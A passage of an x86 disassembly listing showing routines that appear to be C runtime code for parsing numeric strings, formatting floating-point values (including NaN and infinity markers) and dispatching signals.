		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C

loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, ds:byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B

loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B

loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C

loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, ds:byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0

loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3

loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	ds:dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------

loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------

loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]

loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, ds:byte_4397B0
		jnz	short loc_4216CD

loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686

loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------

loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	ds:dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------

loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------

loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------

loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	ds:dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------

loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------

loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E

loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E

loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------

loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8

loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------

loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------

loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777

loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9

loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax

loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------

loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E

loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7

loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------

loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: _0:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi

loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	ds:dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------

loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------

loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h

loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi

loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	ds:dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------

loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------

loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------

loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx

loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]

loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------

loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]

loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E

loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------

loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax

loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]

loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]

loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1

loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------

loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------

loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------

loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------

loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h

loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35

loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------

loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D

loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------

loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------

loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"

loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------

loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------

loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx

loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------

loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]

loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi

loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A

loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D

loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx

loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]

loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14

loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------

loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB

loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]

loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]

loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------

loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD

loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, ds:dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, ds:dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, ds:dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------

loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, ds:dword_48A2EC
		mov	eax, offset dword_48A2EC

loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------

loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6

loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD

loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, ds:dword_48A0C8
		and	ds:dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, ds:dword_43BC1C
		mov	ds:dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------

loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]

loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, ds:dword_43BC10
		mov	ecx, ds:dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]

loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------

loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41

loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	ds:dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------

loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62

loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	ds:dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	ds:dword_43BC1C, eax

loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx

loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_43BC18
		cmp	ds:dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B

loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD

loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



